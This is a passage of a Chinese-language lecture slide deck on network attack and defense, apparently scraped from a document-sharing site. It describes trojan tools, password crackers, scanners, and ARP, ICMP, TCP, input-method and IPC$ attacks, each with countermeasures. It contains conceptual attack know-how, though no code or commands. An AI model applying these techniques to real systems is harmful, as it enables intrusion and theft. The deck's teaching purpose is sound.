網絡攻防技術

1、關于網絡攻防技術1第一張，PPT共一百零一頁，創(chuàng)作于2022年6月2本章概要 本章通過剖析常見的網絡協(xié)議、操作系統(tǒng)與應用程序漏洞，分析黑客入侵的思路和方法，使得讀者更深刻地理解應對黑客攻擊采用的防范策略，以確保我們使用的網絡和系統(tǒng)最大限度的安全。本章主要包括以下幾部分：黑客的定義；基于協(xié)議的攻擊手法和防御手段；常見的漏洞分析。第二張，PPT共一百零一頁，創(chuàng)作于2022年6月3 課程目標通過本章的學習，讀者應能夠：了解當前主要網絡安全弱點；了解黑客攻擊手段，提升防范能力。第三張，PPT共一百零一頁，創(chuàng)作于2022年6月4提示本章將會介紹和使用部分黑客軟件及相關工具模擬攻擊過程，所有軟件、工具都來

2、自互聯網，本身均可能會被程序作者或者第三方加以利用，種植木馬、病毒等惡意程式。我們特別提醒嚴禁在生產機器（包括學校的網絡）上進行安裝、使用。嚴禁在沒有老師的指導監(jiān)督下進行任何模擬攻擊實驗。指導老師需要嚴格遵循本課程是嚴要求，按照實驗手冊操作，利用虛擬機技術并在物理隔離的網絡方可進行模擬攻擊演示。 第四張，PPT共一百零一頁，創(chuàng)作于2022年6月54.1 網絡攻防概述隨著互聯網的迅猛發(fā)展，一些“信息垃圾”、“郵件炸彈”、“病毒木馬”、“網絡黑客”等越來越多地威脅著網絡的安全，而網絡攻擊是最重要的威脅來源之一，所以有效的防范網絡攻擊勢在必行，一個能真正能有效應對網絡攻擊的高手應該做到知己知彼，方可

3、百戰(zhàn)不殆。 第五張，PPT共一百零一頁，創(chuàng)作于2022年6月64.1.1黑客簡介 今天，人們一談到“黑客”（Hacker）往往都帶著貶斥的意思，但是“黑客”的本來含義卻并非如此。一般認為，黑客起源于20世紀50年代美國著名高校的實驗室中，他們智力非凡、技術高超、精力充沛，熱終于解決一個個棘手的計算機網絡難題。60、70年代，“黑客”一詞甚至于極富褒義，從事黑客活動意味著以計算機網絡的最大潛力進行治理上的自由探索，所謂的“黑客”文化也隨之產生了。然后并非所有的人都能恪守“黑客”文化的信條，專注于技術的探索，惡意的計算機網絡破壞者、信息系統(tǒng)的竊密者隨后層出不窮，人們把這部分主觀上有惡意企圖的人成為

4、“駭客”（Cracker）,試圖區(qū)別于“黑客”，同時也誕生了諸多的黑客分類方法，如“白帽子、黑帽子、灰帽子”。然而，不論主觀意圖如何，“黑客”的攻擊行為在客觀上會造成計算機網絡極大的破壞，同時也是對隱私權的極大侵犯，所以在今天人們把那些侵入計算機網絡的不速之客都成為“黑客”。第六張，PPT共一百零一頁，創(chuàng)作于2022年6月7黑客分類灰帽子破解者破解已有系統(tǒng)發(fā)現問題/漏洞突破極限/禁制展現自我計算機 為人民服務漏洞發(fā)現 - Flashsky軟件破解 - 0 Day工具提供 - Glacier白帽子創(chuàng)新者設計新系統(tǒng)打破常規(guī)精研技術勇于創(chuàng)新沒有最好， 只有更好MS -Bill GatesGNU -R

5、.StallmanLinux -Linus善黑帽子破壞者隨意使用資源惡意破壞散播蠕蟲病毒商業(yè)間諜人不為己， 天誅地滅入侵者-K.米特尼克CIH - 陳盈豪攻擊Yahoo者 -匿名惡渴求自由黑客分類第七張，PPT共一百零一頁，創(chuàng)作于2022年6月8黑客文化H4x3r 14n9u493 i5 4 diff3r3n7 14n9u493 fr0m 3n91i5h.w3 c4n find 7hi5 14n9u493 in h4x3r5 885, IRC 0r 07h3r Ch477in9 p14c3.常見替換A=4B=8E=3G =9l=1O=0S=5t=7Z=2常見縮寫CK = xYou = uAre

6、 = rSee = cAnd = n / &Not = !黑客文化第八張，PPT共一百零一頁，創(chuàng)作于2022年6月94.1.2網絡攻擊防御體系從系統(tǒng)安全的角度可以把網絡安全的研究內容分為兩大體系：網絡攻擊和網絡防御。第九張，PPT共一百零一頁，創(chuàng)作于2022年6月104.1.3網絡攻擊的分類攻擊方法的分類是安全研究的重要課題，對攻擊的定性和數據挖掘的方法來分析漏洞有重要意義。對于系統(tǒng)安全漏洞的分類法主要有兩種：RISOS分類法和Aslam分類法，對于針對TCP/IP協(xié)議族攻擊的分類也有幾種。第十張，PPT共一百零一頁，創(chuàng)作于2022年6月111 按照TCP/IP協(xié)議層次進行分類這種分類是基于對

7、攻擊所屬的網絡層次進行的，TCP/IP協(xié)議傳統(tǒng)意義上分為四層，攻擊類型可以分成四類：(1)針對數據鏈路層的攻擊（如ARP欺騙 ）(2)針對網絡層的攻擊 （如Smurf攻擊、ICMP路由欺騙 ）(3)針對傳輸層的攻擊 （如SYN洪水攻擊、會話劫持 ）(4)針對應用層的攻擊 （如DNS欺騙和竊取 ）第十一張，PPT共一百零一頁，創(chuàng)作于2022年6月122 按照攻擊者目的分類按照攻擊者的攻擊目的可分為以下幾類：（1）DOS（拒絕服務攻擊）和DDOS（分布式拒絕服務攻擊）。（2）Sniffer監(jiān)聽。第十二張，PPT共一百零一頁，創(chuàng)作于2022年6月132 按照攻擊者目的分類（3）會話劫持與網絡欺騙。（

8、4）獲得被攻擊主機的控制權，針對應用層協(xié)議的緩沖區(qū)溢出基本上目的都是為了得到被攻擊主機的shell。 第十三張，PPT共一百零一頁，創(chuàng)作于2022年6月14按危害范圍可分為以下兩類：（1）局域網范圍。如sniffer和一些ARP欺騙。（2）廣域網范圍。如大規(guī)模僵尸網絡造成的DDOS。3 按危害范圍分類第十四張，PPT共一百零一頁，創(chuàng)作于2022年6月154.1.4網絡攻擊步驟網絡攻擊步驟可以說變幻莫測，但縱觀其整個攻擊過程，還是有一定規(guī)律可循的，一般可以分：攻擊前奏、實施攻擊、鞏固控制、繼續(xù)深入幾個過程。下面我們來具體了解一下這幾個過程。第十五張，PPT共一百零一頁，創(chuàng)作于2022年6月164

9、.1.4網絡攻擊步驟假設某黑客想人侵某企業(yè)網絡中心一臺Win2000的Web服務器，入侵的目標為拿到”Win2000的管理員賬戶或者修改網站首頁。他可能的攻擊思路流程大致如右圖所示。第十六張，PPT共一百零一頁，創(chuàng)作于2022年6月174.2 網絡攻防工具所謂網絡攻防工具是指編寫出來用于網絡攻擊和防御方面的工具軟件，其功能是執(zhí)行一些諸如掃描端口，防止黑客程序入侵，監(jiān)測系統(tǒng)等，有些是用來防御，而有些則是以惡意攻擊為目的攻擊性軟件，常見的有木馬程序，病毒程序，炸彈程序等，另外還有一部分軟件是為了破解某些軟件或系統(tǒng)的密碼而編寫的，一般也出于非正當的目的。我們可以通過它們了解網絡的攻擊手段，掌握防御網

10、絡攻擊的方法，堵住可能出現的各種漏洞。第十七張，PPT共一百零一頁，創(chuàng)作于2022年6月184.2.1木馬程序 一般的木馬都有客戶端和服務器端兩個執(zhí)行程序，其中客戶端是用于黑客遠程控制植入木馬的機器的程序，服務器端程序即是木馬程序。如果攻擊者要通過木馬入侵你的系統(tǒng)，他所要做的第一步就是要讓木馬的服務器端程序在你的計算機中運行。一旦運行成功，木馬程序就可以獲得系統(tǒng)管理員的權限，在用戶毫無覺察的情況下，對計算機做任何能做的事情。 第十八張，PPT共一百零一頁，創(chuàng)作于2022年6月191.冰河冰河是一個優(yōu)秀的國產木馬程序，它功能眾多，幾乎涵蓋了所有Windows的常用操作，并具有簡單、明了的中文使用

11、界面。冰河采用標準的C/S結構，包括客戶端程序(G_Client.exe)和服務器端程序(G_Server.exe)，客戶端的圖標是一把打開的瑞士軍刀，服務器端則看起來是個微不足道的程序，但就是這個程序在計算機上執(zhí)行以后，該計算機的7626號端口就對外開放了。如果在客戶端輸入其IP地址或者主機名，就可完全控制這臺計算機了。 第十九張，PPT共一百零一頁，創(chuàng)作于2022年6月20它可以自動跟蹤目標機器的屏幕變化；可以完全模擬鍵盤及鼠標輸入；可以記錄各種口令信息，包括開機口令、屏?？诹?、各種共享資源口令以及絕大多數在對話框中出現過的口令信息；可以獲取系統(tǒng)信息，包括計算機名、注冊公司、當前用戶、系統(tǒng)

12、路徑、操作系統(tǒng)版本、當前顯示分辨率、物理及邏輯磁盤信息等多項系統(tǒng)數據；它還可以限制系統(tǒng)功能、進行遠程文件操作及注冊表操作，同時它還具有發(fā)送信息和點對點通訊的能力。 第二十張，PPT共一百零一頁，創(chuàng)作于2022年6月21第二十一張，PPT共一百零一頁，創(chuàng)作于2022年6月222.藍色火焰藍色火焰是一款有實力、有新意的木馬，它放棄了作為遠程監(jiān)控工具的客戶端程序，直接利用現有網絡相關的程序來控制服務器端。這一特色使藍色火焰這個“沒有客戶端的木馬”逐漸成為了許多黑客必備的工具之一。藍色火焰具有的網絡特性可以通過一些代理服務器控制服務端，選擇好的控制工具(如Sterm或Cuteftp)便可以實現用Soc

13、ket代理控制，更好的隱蔽了自己的IP。第二十二張，PPT共一百零一頁，創(chuàng)作于2022年6月23藍色火焰木馬通過藍色火焰配置器生成，如圖所示 第二十三張，PPT共一百零一頁，創(chuàng)作于2022年6月243.灰鴿子灰鴿子是一個功能強大的遠程控制類軟件，它與同類木馬軟件不同的是采用了“反彈端口原理”的連接方式，可以在互聯網上訪問到局域網內通過透明代理上網的電腦，并且可以穿過某些防火墻?；银澴臃譃榭蛻舳伺c服務端，軟件在下載安裝后沒有服務端，只有客戶端H_Clien.exe，服務器端是要通過配置生成。 第二十四張，PPT共一百零一頁，創(chuàng)作于2022年6月25現在的木馬層出不窮，數不勝數，比較出名的還有諸如

14、BO2K、廣外女生、網絡神偷、黑洞2001、無賴小子等等，令人防不勝防。我們應注意這方面的信息，做好對木馬的防御和清除工作。一般來說，要作到以下三點：(1)不輕易運行來歷不明的軟件；(2)及時升級殺毒軟件，使病毒庫保持最新；(3)安裝并運行防火墻。第二十五張，PPT共一百零一頁，創(chuàng)作于2022年6月264.2.2掃描工具 掃描工具是一種能夠自動檢測遠程或本地主機安全弱點的程序，通過它可以獲得遠程計算機的各種端口分配及提供的服務和它們的版本。掃描器工作時是通過選用不同的TCP/IP端口的服務，并記錄目標主機給予的應答，以此搜集到關于目標主機的各種有用信息的。第二十六張，PPT共一百零一頁，創(chuàng)作于

15、2022年6月271.流光流光是國內最著名的掃描、入侵工具，集端口掃描、字典工具、入侵工具、口令猜解等多種功能于一身，界面豪華，功能強大。它可以探測POP3、FTP、SMTP、IMAP、SQL、IPC、IIS、FINGER等各種漏洞，并針對各種漏洞設計了不同的破解方案，能夠在有漏洞的系統(tǒng)上輕易得到被探測的用戶密碼。 第二十七張，PPT共一百零一頁，創(chuàng)作于2022年6月282.SuperscanSuperscan是一個功能強大的端口掃描工具，它可以通過Ping來檢驗目標計算機是否在線，支持IP和域名相互轉換，還可以檢驗一定范圍內目標計算機的端口情況和提供的服務類別。Superscan可以自定義要

16、檢驗的端口，并可以保存為端口列表文件，它還自帶了一個木馬端口列表，通過這個列表可以檢測目標計算機是否有木馬，同時用戶也可以自己定義、修改這個木馬端口列表。在Superscan找到的主機上，單擊右鍵可以實現HTTP瀏覽、TELNET登陸、FTP上傳、域名查詢等功能。第二十八張，PPT共一百零一頁，創(chuàng)作于2022年6月293.x-way2.5x-way2.5是一個主要采用多線程形式對服務器系統(tǒng)進行漏洞掃描和安全測試的工具。同流光一樣，它最大的特點也是高集成度，除了擁有類似于流光中的IIS遠程命令及SQL遠程命令外，還擁有流光目前不具備的一些功能，在這一點上，x-way2.5與流光相比，毫不遜色。第

17、二十九張，PPT共一百零一頁，創(chuàng)作于2022年6月304.SSSSSS（Shadow Security Scanner）是俄羅斯的一套非常專業(yè)的安全漏洞掃描軟件，能夠掃描目標服務器上的各種漏洞，包括很多漏洞掃描、端口掃描、操作系統(tǒng)檢測、賬號掃描等等，而且漏洞數據可以隨時更新， 第三十張，PPT共一百零一頁，創(chuàng)作于2022年6月314.2.3破解工具 利用破解工具我們可以檢查密碼的安全性及找回忘記的密碼，但用心不良的人也可以用它來破解他人的密碼，以達自己不可告人的目的。根據破解原理的不同，破解工具大致可分為窮舉法破解器和查看法破解器兩種。窮舉法，又叫暴力破解法，其過程是從字典文件里抽出一個字段來

18、和要破解的密碼進行對比，直到破解出密碼或字典里的字段全部試完為止。這種守株待兔的方法看似簡單，但由于黑客字典通常包含了很多黑客經驗的累積，所以此法對于安全意識不強的用戶，破解率是很高的。查看法是指程序通過嗅探或系統(tǒng)漏洞來獲得密碼文件的方法。 第三十一張，PPT共一百零一頁，創(chuàng)作于2022年6月321.溯雪溯雪是一款優(yōu)秀的密碼探測工具，它可以利用ASP、CGI對免費信箱進行密碼探測，其運行原理是，通過提取ASP、CGI頁面表單，搜尋表單運行后的錯誤標志，有了錯誤標志后，再掛上字典文件來破解信箱密碼。 第三十二張，PPT共一百零一頁，創(chuàng)作于2022年6月332.網絡刺客II網絡刺客是天行軟件的經典

19、之作，軟件的最大作用就是，當有人在局域網中使用的POP3、FTP、Telnet服務時，網絡刺客II就可以截獲其中的密碼。程序的II代同I代相比，無論在功能、性能、技術上都有了長足的進步，I代只相當于II代的一個微小子集。 第三十三張，PPT共一百零一頁，創(chuàng)作于2022年6月343.黑雨黑雨是一款非常優(yōu)秀的POP3郵箱密碼暴力破解器。它可以驗證用戶名和密碼是否正確，并獨創(chuàng)了深度和廣度兩種破解算法。深度算法是一種很特殊的算法，如果密碼位數猜得準，就可以將破解時間縮短30%-70%。廣度算法是一種老實的算法，現大多數類似功能的工具都采用它，其對3位以下的短小密碼非常有效。總的來看，黑雨軟件的特色為獨

20、創(chuàng)了多項算法，簡單、易用且功能強大。第三十四張，PPT共一百零一頁，創(chuàng)作于2022年6月354.2.4炸彈工具 炸彈攻擊的基本原理是利用特殊工具軟件，在短時間內向目標機集中發(fā)送大量超出系統(tǒng)接收范圍的信息或者垃圾信息，目的在于使對方目標機出現超負荷、網絡堵塞等狀況，從而造成目標的系統(tǒng)崩潰及拒絕服務。常見的炸彈有郵件炸彈、邏輯炸彈、聊天室炸彈等。 第三十五張，PPT共一百零一頁，創(chuàng)作于2022年6月364.2.5安全防御工具使用安全防御工具可以幫助我們抵擋網絡入侵和攻擊，防止信息泄露，并可以根據可疑的信息，來跟蹤、查找攻擊者。下面就一些經常使用的安全防御工具做出說明。第三十六張，PPT共一百零一頁

21、，創(chuàng)作于2022年6月371.木馬克星木馬克星是一款專門針對國產木馬的軟件。如圖4-12所示，該軟件是動態(tài)監(jiān)視網絡與靜態(tài)特征字掃描的完美結合，可以查殺5021種國際木馬，112種電子郵件木馬，保證查殺冰河類文件，關聯木馬，QQ類寄生木馬，ICMP類幽靈木馬，網絡神偷類反彈木馬，并內置木馬防火墻，任何黑客試圖與本機建立連接，都需要木馬克星的確認，不僅可以查殺木馬，還可以查黑客。第三十七張，PPT共一百零一頁，創(chuàng)作于2022年6月382.Lockdown 2000 Lockdown 2000是一款功能強大的網絡安全工具，能夠清除木馬，查殺郵件病毒，防止網絡炸彈攻擊，還能在線檢測所有對本機的訪問并進

22、行控制。Lockdown 2000專業(yè)版完全可以勝任本機防火墻的工作。在Lockdown 2000專業(yè)版中總共有13個功能模塊，包括木馬掃描器、端口監(jiān)視器、共享監(jiān)視器、連接監(jiān)視器、進程監(jiān)視器、網絡監(jiān)視器、網絡工具包等，涉及到網絡安全的方方面面。如果能合理的配置Lockdown 2000專業(yè)版，并結合其它工具，其功能完全可以強過一些中小企業(yè)級防火墻。第三十八張，PPT共一百零一頁，創(chuàng)作于2022年6月393.Recover4all Professional 2.15 Recover4all Professional 2.15是Windows 系統(tǒng)下短小精悍、功能強大的文件反刪除工具，可用于恢復被

23、黑客刪除的數據。其原理為，當刪除一個文件時，系統(tǒng)并不是到每個簇去清除該文件的內容，而僅僅是把ROOT里面文件名的第一個字符換成一個特殊的字符，以標記這個文件被刪除而已。Recover4all Professional 2.15可以把此過程逆向操作，即可恢復文件了。第三十九張，PPT共一百零一頁，創(chuàng)作于2022年6月404.Windows漏洞的安全掃描工具工具一：MBSAMBSA（Microsoft Baseline Security Analyzer，微軟基準安全分析器），該軟件能對Windows、Office、IIS、SQL Server等軟件進行安全和更新掃描，掃描完成后會用“X”將存在的

24、漏洞標示出來，并提供相應的解決方法來指導用戶進行修補。 工具二：UpdatescanUPDATESCAN是微軟公司針對每月發(fā)布的補丁所開發(fā)的補丁掃描工具，不同于MBSA的是，每月UPDATESCAN都會有新的版本。第四十張，PPT共一百零一頁，創(chuàng)作于2022年6月414.3 基于協(xié)議的攻擊技術與防御技術針對協(xié)議的攻擊手段非常多樣，下面對常見的協(xié)議攻擊方式進行探討，主要內容包括：ARP協(xié)議漏洞攻擊；ICMP協(xié)議漏洞攻擊；TCP協(xié)議漏洞攻擊；各種協(xié)議明文傳輸攻擊。第四十一張，PPT共一百零一頁，創(chuàng)作于2022年6月424.3.1 ARP協(xié)議漏洞攻擊與防御ARP協(xié)議（Address Resolve

25、Protocol,地址解析協(xié)議）工作在TCP/IP協(xié)議的第二層數據鏈路層，用于將IP地址轉換為網絡接口的硬件地址（媒體訪問控制地址，即MAC地址）。無論是任何高層協(xié)議的通信，最終都將轉換為數據鏈路層硬件地址的通訊。在每臺主機的內存中，都有一個ARPMAC的轉換表，保存最近獲得的IP與MAC地址對應。ARP表通常是動態(tài)更新的（注意在路由中，該ARP表可以被設置成靜態(tài)）。默認情況下，但其中的緩存項超過兩分鐘沒有活動時，此緩存項就會超時被刪除。第四十二張，PPT共一百零一頁，創(chuàng)作于2022年6月43漏洞描述ARP協(xié)議最大的缺陷是：當主機收到ARP數據包時，不會進行任何驗證就刷新Cache，記錄下錯誤

26、的IP/MAC對，給ARP欺騙帶來機會，造成ARPCache中毒?；诖嗽?，可以用來精心地構造中間人攻擊或者DOS攻擊，如arptool可以實現中間人這種攻擊，輕者導致網絡不能正常工作（如網絡執(zhí)法官），重則成為黑客入侵跳板，從而給網絡安全造成極大隱患。 第四十三張，PPT共一百零一頁，創(chuàng)作于2022年6月44信任關系CAB(同一網段的arp欺騙)攻擊實現第四十四張，PPT共一百零一頁，創(chuàng)作于2022年6月45 ARP欺騙防范 知道了ARP欺騙的方法和危害，下面列出了一些防范方法(1)不要把你的網絡安全信任關系建立在IP地址的基礎上或硬件MAC地址基礎上(RARP同樣存在欺騙的問題)，較為理想

27、的信任關系應該建立在IP+MAC基礎上。(2)設置在本機和網關設置靜態(tài)的MAC-IP對應表，不要讓主機刷新你設定好的轉換表。在三層交換機上設定靜態(tài)ARP表。第四十五張，PPT共一百零一頁，創(chuàng)作于2022年6月46(3) 除非很有必要，否則停止使用ARP，將ARP作為永久條目保存在對應表中。在Linux下可以用ifconfigarp可以使網卡驅動程序停止使用ARP。(4) 在本機地址使用ARP，發(fā)送外出的通信使用代理網關。第四十六張，PPT共一百零一頁，創(chuàng)作于2022年6月47(5) 修改系統(tǒng)拒收ICMP重定向報文，在Linux下可以通過在防火墻上拒絕ICMP重定向報文或者是修改內核選項重新編譯

28、內核來拒絕接收ICMP重定向報文。在windows 2000下可以通過防火墻和IP策略拒絕接收ICMP報文第四十七張，PPT共一百零一頁，創(chuàng)作于2022年6月484.3.2 ICMP協(xié)議漏洞攻擊與防御 1 漏洞描述 ICMP是Internet Control Message Protocol (Internet控制消息協(xié)議)的縮寫，是傳輸層的重要協(xié)議。它是TCP/IP協(xié)議簇的一個子協(xié)議，用于IP主機、路由器之間傳遞控制消息?？刂葡⑹侵妇W絡通不通、主機是否可達、路由是否可用等網絡本身的消息。所以許多系統(tǒng)和防火墻并不會攔截ICMP報文，這給攻擊者帶來可乘之機。網上有很多針對ICMP的攻擊工具可以

29、很容易達到攻擊目的，其攻擊實現目標主要為轉向連接攻擊和拒絕服務，下圖所示是一個簡單的針對ICMP的攻擊工具。第四十八張，PPT共一百零一頁，創(chuàng)作于2022年6月49ICMP攻擊工具第四十九張，PPT共一百零一頁，創(chuàng)作于2022年6月50 2 攻擊實現（1）ICMP轉向連接攻擊：攻擊者使用 ICMP“時間超出”或“目標地址無法連接”的消息。這兩種ICMP消息都會導致一臺主機迅速放棄連接。攻擊只需偽造這些ICMP消息中的一條，并發(fā)送給通信中的兩臺主機或其中的一臺，就可以利用這種攻擊了。接著通信連接就會被切斷。當一臺主機錯誤地認為信息的目標地址不在本地網絡中的時候，網關通常會使用ICMP“轉向”消息

30、。如果攻擊者偽造出一條“轉向”消息，它就可以導致另外一臺主機經過攻擊者主機向特定連接發(fā)送數據包。第五十張，PPT共一百零一頁，創(chuàng)作于2022年6月51(2)ICMP數據包放大(ICMP Smurf)：攻擊者向安全薄弱網絡所廣播的地址發(fā)送偽造的ICMP響應數據包。那些網絡上的所有系統(tǒng)都會向受害計算機系統(tǒng)發(fā)送ICMP響應的答復信息，占用了目標系統(tǒng)的可用帶寬并導致合法通信的服務拒絕(DoS)。一個簡單的Smurf攻擊，通過使用將回復地址設置成受害網絡的廣播地址的ICMP應答請求(Ping)來淹沒受害主機的方式進行，最終導致該網絡的所有主機都對此ICMP應答請求做出答復，導致網絡阻塞，比ping of

31、 death洪水的流量高出一或兩個數量級。更加復雜的Smurf將源地址改為第三方的受害者，最終導致第三方雪崩。第五十一張，PPT共一百零一頁，創(chuàng)作于2022年6月52(3)死Ping攻擊(Ping of Death)：由于在早期的階段，路由器對包的最大尺寸都有限制，許多操作系統(tǒng)對TCP/IP棧的限制在ICMP包上都是規(guī)定64KB，并且在對包的標題頭進行讀取之后，要根據該標題頭里包含的信息來為有效載荷生成緩沖區(qū)，當產生畸形的，聲稱自己的尺寸超過ICMP上限的包，也就是加載的尺寸超過64KB上限時，就會出現內存分配錯誤，導致TCP/IP堆棧崩潰，致使接受方當機。第五十二張，PPT共一百零一頁，創(chuàng)作

32、于2022年6月53(4)ICMP Ping淹沒攻擊：大量的PING信息廣播淹沒了目標系統(tǒng)，使得它不能夠對合法的通信做出響應。(5)ICMP nuke攻擊：Nuke發(fā)送出目標操作系統(tǒng)無法處理的信息數據包，從而導致該系統(tǒng)癱瘓。(6)通過ICMP進行攻擊信息收集：通過Ping命令來檢查目標主機是否存活，依照返回TTL值判斷目標主機操作系統(tǒng)。(如：LINUX應答的 TTL字段值為64；UNIX應答的TTL字段值為255；Windows 95/98/Me應答的TTL字段值為32；Windows2000/NT應答的TTL字段值為128)。第五十三張，PPT共一百零一頁，創(chuàng)作于2022年6月54第五十四張

33、，PPT共一百零一頁，創(chuàng)作于2022年6月554.3.3 TCP協(xié)議漏洞攻擊與防御1.漏洞描述TCP(傳輸控制協(xié)議，Transport Control Protocol)是一種可靠的面向連接的傳送服務。它在傳送數據時是分段進行的，主機交換數據必須建立一個會話。它用比特流通信，即數據被作為無結構的字節(jié)流。通過每個TCP傳輸的字段指定順序號，以獲得可靠性。針對TCP協(xié)議的攻擊的基本原理是：TCP協(xié)議三次握手沒有完成的時候，被請求端B一般都會重試（即再給 A發(fā)送 SYNACK報文）并等待一段時間（SYN timeout），這常常被用來進行DOS攻擊或者Land攻擊。在Land攻擊中，一個特別打造的S

34、YN包其原地址和目標地址都被設置成某一個服務器地址，此舉將導致接收服務器向它自己的地址發(fā)送SYN-ACK消息，結果該地址又發(fā)回ACK消息并創(chuàng)建一個空連接，每一個這樣的連接都將保留直至超時。對Land攻擊反應不同，許多 UNIX系統(tǒng)將崩潰，NT變得極其緩慢。第五十五張，PPT共一百零一頁，創(chuàng)作于2022年6月562.攻擊實現在 SYN Flood攻擊中，攻擊機器向受害主機發(fā)送大量偽造源地址的TCP SYN報文，受害主機分配必要的資源，然后向源地址返回SYNACK包，并等待源端返回ACK包，如所示。第五十六張，PPT共一百零一頁，創(chuàng)作于2022年6月57第五十七張，PPT共一百零一頁，創(chuàng)作于202

35、2年6月583.防御方法針對SYN Flood的攻擊防御措施主要有：一類是通過防火墻、路由器等過濾網關防護，另一類是通過加固TCP/IP協(xié)議棧防御。網關防護的主要技術有：SYN-cookie技術和基于監(jiān)控的源地址狀態(tài)、縮短SYN Timeout時間。SYN-cookie技術實現了無狀態(tài)的握手，避免SYN Flood的資源消耗?；诒O(jiān)控的源地址狀態(tài)技術能夠對每一個連接服務器的IP地址的狀態(tài)進行監(jiān)控，主動采取措施避免SYN Flood攻擊的影響。第五十八張，PPT共一百零一頁，創(chuàng)作于2022年6月594.3.4其他協(xié)議明文傳輸漏洞攻擊與防御1.漏洞描述TCP/IP協(xié)議數據流采用明文傳輸，是網絡安全

36、的一大隱患，目前所使用的Ftp、Http、POP和Telnet服務在本質上都是不安全的，因為它們在網絡上用明文傳送口令和數據，攻擊者可以很容易地通過嗅探等方式截獲這些口令和數據。第五十九張，PPT共一百零一頁，創(chuàng)作于2022年6月60嗅探偵聽主要有兩種途徑，一種是將偵聽工具軟件放到網絡連接的設備或者放到可以控制網絡連接設備的電腦上，這里的網絡連接設備指的是網關服務器、路由器等。另外一種是針對不安全的局域網（采用交換Hub實現），放到個人電腦上就可以實現對整個局域網的偵聽。 第六十張，PPT共一百零一頁，創(chuàng)作于2022年6月612.攻擊實現網絡抓包工具目前很多，如HTTPSniffer、SpyN

37、et、Sniffit、Ettercap、Snarp、IRIS。這里要使用到一款抓包工具 Winsock Expert，它可以用來監(jiān)視和截獲指定進程網絡數據的傳輸，對測試Http通信過程非常有用。黑客經常使用該工具來修改網絡發(fā)送和接收數據，協(xié)助完成很多網頁腳本的入侵工作。第六十一張，PPT共一百零一頁，創(chuàng)作于2022年6月623.防御方法(1)從邏輯或物理上對網絡分段，網絡分段通常被認為是控制網絡廣播風暴的一種基本手段，但其實也是保證網絡安全的一項措施。其目的是將非法用戶與敏感的網絡資源相互隔離，從而防止可能的非法監(jiān)聽。(2)以交換式集線器代替共享式集線器，使單播包僅在兩個節(jié)點之間傳送，從而防止

38、非法監(jiān)聽。當然，交換式集線器只能控制單播包而無法控制廣播包（Broadcast packet）和多播包（Multicast Packet）。但廣播包和多播包內的關鍵信息，要遠遠少于單播包。(3)使用加密技術，數據經過加密后，通過監(jiān)聽仍然可以得到傳送的信息，但顯示的是亂碼。使用加密協(xié)議對敏感數據進行加密，對于Web服務器敏感數據提交可以使用https代理http；用 PGP（PGP-Pretty Good Privacy是一個基于 RSA公鑰加密體系的郵件加密軟件，它提出了公共鑰匙或不對稱文件加密和數字簽名）對郵件進行加密。第六十二張，PPT共一百零一頁，創(chuàng)作于2022年6月63(4)劃分VLA

39、N，運用 VLAN（虛擬局域網）技術，將以太網通信變?yōu)辄c到點通信，可以防止大部分基于網絡監(jiān)聽的入侵。(5)使用動態(tài)口令技術，使得偵聽結果再次使用時無效。 第六十三張，PPT共一百零一頁，創(chuàng)作于2022年6月644.4 操作系統(tǒng)漏洞攻擊技術與防御技術無論是UNIX、Windows還是其他操作系統(tǒng)都存在著安全漏洞。主流操作系統(tǒng)Windows更是眾矢之的，每次微軟的系統(tǒng)漏洞被發(fā)現后，針對該漏洞利用的惡意代碼很快就會出現在網上，一系列案例證明。從漏洞被發(fā)現到惡意代碼出現，中間的時差開始變得越來越短，所以必須時刻關注操作系統(tǒng)的最新漏洞，以保證系統(tǒng)安全。 第六十四張，PPT共一百零一頁，創(chuàng)作于2022年6

40、月654.4.1輸入法漏洞攻擊與防御1.漏洞描述在安裝Windows 2000簡體中文版的過程中，默認情況下同時安裝了各種簡體中文輸入法。而Microsoft自Windows 2000開始，支持中文用戶名。這些隨系統(tǒng)裝入的輸入法可以在系統(tǒng)登錄界面中使用，以便用戶能使用基于中文字符的用戶標識和密碼登錄到系統(tǒng)，理論上，在未登陸情況下，應限制提供給用戶的系統(tǒng)功能。然而，在SP2補丁以前，默認安裝的情況下，Windows 2000中的簡體中文輸入法不能正確地檢測當前的狀態(tài)，導致在系統(tǒng)登錄界面中提供了不應有的功能。進而，一些別有用心的用戶可以通過直接操作該系統(tǒng)的登陸界面得到當前系統(tǒng)權限，運行其選擇的代碼

41、，更改系統(tǒng)配置，新建用戶，添加或刪除系統(tǒng)服務，添加、更改或刪除數據，或執(zhí)行其他非法操作。第六十五張，PPT共一百零一頁，創(chuàng)作于2022年6月662.攻擊實現針對輸入法漏洞的攻擊有本地和遠程兩種攻擊方式，這種攻擊方式可以使本地用戶繞過身份驗證機制進入系統(tǒng)內部。 針對輸入法漏洞的本地攻擊 針對輸入法漏洞的遠程攻擊 第六十六張，PPT共一百零一頁，創(chuàng)作于2022年6月673.防御方法采取以下一些預防措施，可以有效杜絕黑客的攻擊:(1)給Windows 2000 打補丁到 SP4（如打補丁到 SP4不需要進行第 2項操作）。(2)刪除輸入法幫助文件和多余的輸入法。為了防止惡意用戶通過輸入法漏洞對服務器

42、進行攻擊，刪除不需要的輸入法和輸入法的幫助文件。這些幫助文件通常在 Windows 2000的安裝目錄下（如:C:Windows）的Help目錄下，對應的幫助文件分別是: Windowsime.chm 輸入法操作指南； Windowssp.chm 雙拼輸入法幫助； Windowszm.chm 鄭碼輸入法幫助。(3)防止別人惡意利用net.exe，可以考慮將其移出c:winntsystem32目錄，或者改名。但自己應記住更改的目錄或新的文件名。 第六十七張，PPT共一百零一頁，創(chuàng)作于2022年6月684.4.2 IPC$攻擊與防御1.漏洞描述IPC$(Internet Process Conne

43、ction）是共享“命名管道”的資源，它是為了讓進程間通信而開放的命名管道，通過提供可信任的用戶名和口令，連接雙方可以建立安全的通道并以此通道進行加密數據的交換，從而實現對遠程計算機的訪問。IPC$漏洞，其實IPC$本身并不是一個真正意義上的漏洞，其主要漏洞在于其允許空會話（Null session）?？諘捠窃跊]有信任的情況下與服務器建立的會話（即未提供用戶名與密碼）。第六十八張，PPT共一百零一頁，創(chuàng)作于2022年6月692.攻擊實現對于Windows NT系列的操作系統(tǒng)，在默認安全設置下，借助空連接可以列舉目標主機上的用戶和共享，訪問everyone權限的共享，訪問小部分注冊表等，但這對

